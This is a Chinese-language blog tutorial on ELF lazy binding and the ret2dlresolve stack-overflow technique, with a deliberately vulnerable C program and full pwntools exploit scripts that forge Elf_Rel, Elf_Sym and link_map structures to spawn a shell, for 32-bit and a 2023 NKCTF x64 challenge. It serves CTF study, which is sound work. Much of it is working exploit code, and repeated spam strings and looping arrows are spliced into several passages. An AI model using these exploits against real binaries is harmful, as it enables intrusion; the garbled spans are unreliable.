延迟绑定与 ret2dlresolve 详解

发布时间 2023-04-19 23:02:48作者: xshhc

ret2dlresolve 是栈溢出下的一种攻击方法,主要用于程序没有办法利用 puts 、printf、writer 函数等泄露程序内存信息的情况。

延迟绑定

在 Linux 中,为了程序运行的效率与性能,在没有开启 FULL RELRO 时候,程序在第一次执行函数时,会先执行一次动态链接,将对应函数的 got 表填上 libc 中的函数地址。在这个过程中,程序使用 _dl_runtime_resolve(link_map_obj, realoc_index) 来对动态链接的函数进行重定位。
以 32 位程序为例,如图

可以看到 read@plt 是会利用 jmp 指令跳转到 read@got 执行,这里如果是 read 函数是第一次执行的时候,read@got 是指向了 read@plt 的第二条指令也就是 “ jmp read@got ” 的下一条指令,所以又跳转回到了 read@plt + 6 继续执行,会接着压入 0x20( reloc_offset 参数),然后跳转到 PLT0(也就是公共表项),会先压入一个值,也就是 link_map_obj 参数,然后进入 _dl_runtime_resolve 函数执行,执行完成后 read@got -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> ->read@libc ,之后再次执行 read@plt ,那么执行 "jmp read@got" 就会执行 read@libc,也就不需要再次绑定了。
其中 link_map_obj 参数的作用是为了能够定位 .dynamic 段,而定位了 .dynamic 段就能接着定位(根据偏移)到 .dynstr 段、.dynsym 段、.rel.plt 段,该参数是 PLT0 默认提供的,程序中所有函数在动态链接过程中的该参数都是相同的;
而 reloc_offset 是对应函数的 plt 提供的,起到定位对应函数的 ELF_Rel 结构体的作用。

通过上图我们可以看到 plt 中的各个函数的 push 的值都是不同的,也就是说 reloc_index 的值是不同的。从图中可以看到,plt 段开头就是 PLT0。
接下来我们介绍下 .dynstr 段、.dynsym 段、.rel.plt 段。
通过以下命令可以找出各个段的地址
objdump -s -j .dynsym pwn

.dynstr 段:存放了各个函数的名称字符串。

.dynsym 段:由 Elf_Sym 结构体集合而成

其中的 Elf_Sym 结构体如代码
typedef struct {
    ELF32_Word st_name;
    ELF32_Addr st_value;
    ELF32_Word st_size;
    unsigned char st_info;
    unsigned char st_other;
    Elf32_Section st_shndx;
} Elf32_Sym;

其中 st_name 域是相对于 .dynstr 段的偏移,来确定函数名称字符串在 .dynstr 段的地址;st_value 域是当前符合被导出时存放虚拟地址的。

.rel.plt 段:由 Elf_Rel 结构体集合而成

其中的 Elf_Rel 结构体如代码
typedef struct {
    ELF32_Addr r_offset;
    ELF32_Addr r_info;
} Elf32_Rel;

r_offset 域用于保存解析后的符号地址写入内存的位置, r_info 域的值在 右移 8 位之后的值用于标识该符号在 .dynsym 段中的位置,也就是确定该函数的 Elf_Sym 结构体地址。其中的 r_offset 域也就是 GOT 表,当解析完成后,GOT 表中对应的函数地址也就被写上了对应函数的 libc 地址。

其中,这几个段的关系是这样的。
通过 link_map_obj 参数定位 .dynamic 段,再根据偏移定位到 .dynstr 段、.dynsym 段、.rel.plt 段后,再通过 reloc_offset + .rel.plt 确定了 .rel.plt 段中对应函数的 Elf.Rel 结构体后,就能确定其中的 r_offset 也就是对应函数的 GOT 表地址,还有 r_info,根据 (r_info >> 8) + .dynsym 确定对应函数在 .dynsym 段中的 Elf_Sym 结构体,那么我们又获得了 st_name ,根据 st_name + .dynstr 来确定对应函数的名称字符串地址,最后,根据获得的函数名字符串来在 libc 中寻找对应函数的 libc 地址,再返回写在 got 表上。
_dl_runtime_resolve 函数实际上就只是调用了 _dl_fixup 函数,其函数代码大致如下
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
    assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);    
}
关系图如下:

 漏洞利用

这里我们先通过栈迁移的方法模拟的虚假的 puts 函数初次动态链接的实现,并达到 puts("Hacker!") 的效果
这里自己简单写了一个具有栈溢出漏洞的程序
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(){
    char buf[0x10];
    puts("> ");
    read(0, buf, 0x30);
}
void init(){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    setbuf(stdin, 0);
}
int main()
{
    init();
    vuln();
    return 0;
}
编译命令
gcc -fno-stack-protector -z relro -no-pie -fno-pie 1.c -m32 -o pwn

这样,我们就得到一个简单的栈溢出漏洞程序,我们现在利用这个程序来实现 ret2dlresolve

首先,我们尝试通过栈迁移的方法来模拟实现 puts 函数动态链接的过程,并打印 Hacker!

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
payload = b'a'*4 + p32(PLT0) + p32(0x18) + p32(0) + p32(buf + 0x14) + b'Hacker!'
s(payload)

pause()

exp 如代码,在这个代码中,我们先进行了栈迁移,之后模拟已经将 0x18 (puts 函数的 realoc_index 参数)已经压入栈,接着执行 PLT0,压入 link_map_obj 参数,然后执行 _dl_runtime_resolve 函数,之后解析完成那么就能够接着执行 puts("Hacker!") 打印出 Hacker!

第二步我们自己伪造 Elf_Rel 结构体来实现这一效果。首先要控制好 realoc_index 参数,使函数的 Elf_Rel 结构体落在 bss 上

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(0x407)

payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x1c) + fake_Elf_Rel + b'Hacker!'
s(payload)

pr()
#pause()
其中, realoc_index 的值是根据 Elf_Rel 结构体与 .rel.plt 段的差得到的,而 0x407 也就是 r_info 的值是用来寻找 Elf_Sym 结构体的,所以这里就没必要更改

从 IDA 反汇编后的 Elf_Rel 结构体中可以看出,puts 函数对应的 r_info 的值是 0x407

接着继续伪造 Elf_Sym 结构体,那么这里我们就需要修改 r_info 的值了,其中, r_info 的值是由 r_sym 和 r_type 计算得出,r_sym 是对应函数的 Elf_Sym 结构体相对于 .dynsym 段的偏移,r_type 照抄取为 7(_dl_fixup 函数中会检测 r_info 的低位是否为 7,这里一般默认为 7)

那么
r_sym = (buf + xx - .dynsym)/0x10
r_info = (r_sym << 8) + r_type(7)

同样的,这里的 fake_Elf_Sym 结构体里面的值先照抄原本的 Elf_Sym 结构体的值,所以

fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2
fake_Elf_Sym = p32(puts_str_addr - dynstr)+ p32(0)*2 + p32(0x12)+ p32(0)*2

exp经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验
exp>/span>公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介经验

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
dynsym = 0x804821c
dynstr = 0x80482BC

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10
r_type = 7
r_info = (int(r_sym) << 8) + r_type
puts_str_addr = 0x80482F3

fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x34)
payload +=  fake_Elf_Rel # buf + 0x14
payload += fake_Elf_Sym # buf + 0x1c
payload += b"Hacker!" #buf+0x34

s(payload)

pr()
#pause()

接下来继续伪造 .dynstr 段上的字符串,这个改动比较简单,伪造一个 fake_st_name 即可

fake_st_name = bus + xx - .dynstr

exp经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验经验
exp>/span>公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介公司简介经验

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
dynsym = 0x804821c
dynstr = 0x80482BC

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
# set fake_st_name
fake_st_name = buf + 0x34 - dynstr

# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10
r_type = 7
r_info = (int(r_sym) << 8) + r_type
puts_str_addr = 0x80482F3
fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c)
payload +=  fake_Elf_Rel # buf + 0x14
payload += fake_Elf_Sym # buf + 0x1c
payload += b"puts" + p32(0) #buf+0x34
payload += b"Hacker!"
s(payload)

pr()
#pause()

由于解析是根据函数名字符串来寻找的,所以我们接下来只需要修改 puts -> system、Hacker! -> /bin/sh 即可 get shell

完整 exp
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('1.14.71.254', 28966)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
dynsym = 0x804821c
dynstr = 0x80482BC

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
# set fake_st_name
fake_st_name = buf + 0x34 - dynstr

# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10
r_type = 7
r_info = (int(r_sym) << 8) + r_type
puts_str_addr = 0x80482F3
fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c)
payload +=  fake_Elf_Rel # buf + 0x14
payload += fake_Elf_Sym # buf + 0x1c
payload += b"system" + p16(0) #buf+0x34
payload += b"/bin/sh\x00"
s(payload)

inter()
#pause()

x64

x64 下的题目我们以 2023-nkctf 的 only read 题目举例

程序开始经过四个 base64 加密验证之后,进入 next 函数

存在一个栈溢出,本题目没有 write、printf、puts 一类的函数来泄露程序内存,对于这种情况我们可以用 ret2dlresolve 的做法。
不过,在 64 位下,部分数据结构有了变动
这是 64 位下的 Elf_Sym 结构体
typedef struct{  
    Elf64_Word st_name;    /* Symbol name (string tbl index) */  
    unsigned char st_info;    /* Symbol type and binding */  
    unsigned char st_other; /* Symbol visibility */  
    Elf64_Section st_shndx; /* Section index */  
    Elf64_Addr st_value; /* Symbol value */  
    Elf64_Xword    st_size; /* Symbol size */
}Elf64_Sym;

这是64 位下的 Elf_Rel 结构体,增加了 r_addend

typedef struct{  
    Elf64_Addr r_offset;        /* Address */  
    Elf64_Xword    r_info;            /* Relocation type and symbol index */  
    Elf64_Sxword r_addend;        /* Addend */
}Elf64_Rela;

并且,如果是直接像 32 位的做法直接伪造 realoc_index,那么会因为 _dl_fixup 函数执行时候访问到错误的内存地址而奔溃

具体可看代码注释
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
      const struct r_found_version *version = NULL;
         // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段
          // 就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段
          // 第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。
          // 第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
          const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }

      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
        {
          THREAD_GSCOPE_SET_FLAG ();
          flags |= DL_LOOKUP_GSCOPE_LOCK;
        }

      RTLD_ENABLE_FOREIGN_CALL;
    // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();

      RTLD_FINALIZE_FOREIGN_CALL;

      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    { 
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value
      // 我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
//来自 https://blog.csdn.net/qq_51868336/article/details/114644569
总结地说,我们需要
  1. st_other != 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0st_other!= 0
  2. l -> l_addr = system_libc - a_libc;sym -> st_value = a_got (其中,a 函数是已经被解析过的一个函数)
那么最后得到的就是 l->l_addr + sym->st_value = system_libc - a_libc + a_got = system_libc_real,因此,这种攻击方法需要我们同时伪造 Elf_Sym 和 link_map
对于 link_map 结构体
//0x68  strtab
//0x70  symtab
//0xf8   relplt
struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];
    const Elf64_Phdr *l_phdr;
    Elf64_Addr l_entry;
    Elf64_Half l_phnum;
    Elf64_Half l_ldnum;
    struct r_scope_elem l_searchlist;
    struct r_scope_elem l_symbolic_searchlist;
    struct link_map *l_loader;
    struct r_found_version *l_versions;
    unsigned int l_nversions;
    Elf_Symndx l_nbuckets;
    Elf32_Word l_gnu_bitmask_idxbits;
    Elf32_Word l_gnu_shift;
    const Elf64_Addr *l_gnu_bitmask;
    union {
        const Elf32_Word *l_gnu_buckets;
        const Elf_Symndx *l_chain;
    };
    union {
        const Elf32_Word *l_gnu_chain_zero;
        const Elf_Symndx *l_buckets;
    };
    unsigned int l_direct_opencount;
    enum {lt_executable, lt_library, lt_loaded} l_type : 2;
    unsigned int l_relocated : 1;
    unsigned int l_init_called : 1;
    unsigned int l_global : 1;
    unsigned int l_reserved : 2;
    unsigned int l_phdr_allocated : 1;
    unsigned int l_soname_added : 1;
    unsigned int l_faked : 1;
    unsigned int l_need_tls_init : 1;
    unsigned int l_auditing : 1;
    unsigned int l_audit_any_plt : 1;
    unsigned int l_removed : 1;
    unsigned int l_contiguous : 1;
    unsigned int l_symbolic_in_local_scope : 1;
    unsigned int l_free_initfini : 1;
    struct r_search_path_struct l_rpath_dirs;
    struct reloc_result *l_reloc_result;
    Elf64_Versym *l_versyms;
    const char *l_origin;
    Elf64_Addr l_map_start;
    Elf64_Addr l_map_end;
    Elf64_Addr l_text_end;
    struct r_scope_elem *l_scope_mem[4];
    size_t l_scope_max;
    struct r_scope_elem **l_scope;
    struct r_scope_elem *l_local_scope[2];
    struct r_file_id l_file_id;
    struct r_search_path_struct l_runpath_dirs;
    struct link_map **l_initfini;
    struct link_map_reldeps *l_reldeps;
    unsigned int l_reldepsmax;
    unsigned int l_used;
    Elf64_Word l_feature_1;
    Elf64_Word l_flags_1;
    Elf64_Word l_flags;
    int l_idx;
    struct link_map_machine l_mach;
    struct {
        const Elf64_Sym *sym;
        int type_class;
        struct link_map *value;
        const Elf64_Sym *ret;
    } l_lookup_cache;
    void *l_tls_initimage;
    size_t l_tls_initimage_size;
    size_t l_tls_blocksize;
    size_t l_tls_align;
    size_t l_tls_firstbyte_offset;
    ptrdiff_t l_tls_offset;
    size_t l_tls_modid;
    size_t l_tls_dtor_count;
    Elf64_Addr l_relro_addr;              
    size_t l_relro_size;
    unsigned long long l_serial;
    struct auditstate l_audit[];
};

根据 _dl_fixup 函数的代码,我们可以知道 .rel.plt 、.dynsym、.dynstr 段的地址都是从 l -> l_info[] 中取的,所以 l -> l_info 又对应了 .dynamic 段,这里我们可以在 IDA 看到 .dynamic 段的内容

红框从上到下分别对应 .dynstr 、.dynsym、.rel.plt 段,也就说
.dynstr 指针:位于 .dynamic +0x88 (32位下是0x44)
.dynsym 指针:位于 .dynamic + 0x98 (32位下是0x4c)
.rel.plt 指针:位于 .dynamic +0x108 (32位下是0x84)
这里我们通过 gdb 调试看下

可以根据对应偏移找到各个段的地址

这里再回答下 .dynamic 段和 link_map 中的 l_info 的关系

根据上面两张图我们可以知道
DT_STRTAB指针:位于 link_map_addr +0x68(32位下是0x34)
DT_SYMTAB指针:位于 link_map_addr + 0x70(32位下是0x38)
DT_JMPREL指针:位于 link_map_addr +0xF8(32位下是0x7C)
我们就知道_dl_fixup 函数中为什么是根据 l_info 来取 .dynstr 、.dynsym、.rel.plt 段的地址了
这样,我们就完全理解了之前提到的为什么 link_map_obj 能够定位到 .dynmic 段,而 .dynmic 段又能够定位到 .dynstr 、 .dynsym、.rel.plt 段。
继续接下来的攻击准备,我们需要修改 link_map 中的 l_addr 为 system_libc - a_libc 的值, l_info 中的 DT_STRTAB指针、DT_SYMTAB指针、DT_JMPREL指针来伪造 .dynstr 、 .dynsym、.rel.plt 段。并且在 fake_Elf_Sym 结构体中的 st_value 为一个已经解析过的( a )函数的 got 表地址。
这里我们只需要修改 fake_Elf_Sym 为 a 函数的 got 表地址 - 0x8,那么顺带着 sym -> st_other != 0 的条件也会满足。
由于 link_map 结构体比较大,因此我们也将 fake_Elf_Sym 结构体和 "/bin/sh\x00" 也写进去
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x90)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap
最终exp
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('spdc-1.play.hfsc.tf', 40003)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

sleep(0.1)
s("V2VsY29tZSB0byBOS0NURiE=")
sleep(0.1)
s("dGVsbCB5b3UgYSBzZWNyZXQ6")
sleep(0.1)
s("SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
sleep(0.1)
s("Y2FuIHlvdSBmaW5kIG1lPw==")
sleep(0.1)

rdi = 0x401683
rsi_r15 = 0x401681
rbp = 0x40117d
leave = 0x4013c2
ret = 0x40101a
PLT1 = 0x401026
buf = elf.bss() + 0x400

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

#gdb.attach(p, 'b *0x4013E8')

s(b'a'*0x30 + p64(buf) + p64(rsi_r15) + p64(buf)*2 + p64(elf.sym['read']) + p64(rdi) + p64(buf + 0x48) + p64(ret) + p64(PLT1) + p64(buf) + p64(0))
sleep(2)
fake_link_map = fake_Linkmap_payload(buf, elf.got['setbuf'], libc.sym['system'] - libc.sym['setbuf'])
s(fake_link_map)

inter()
#pause()

参考:https://blog.csdn.net/qq_51868336/article/details/114644569 CTF 竞赛权威指南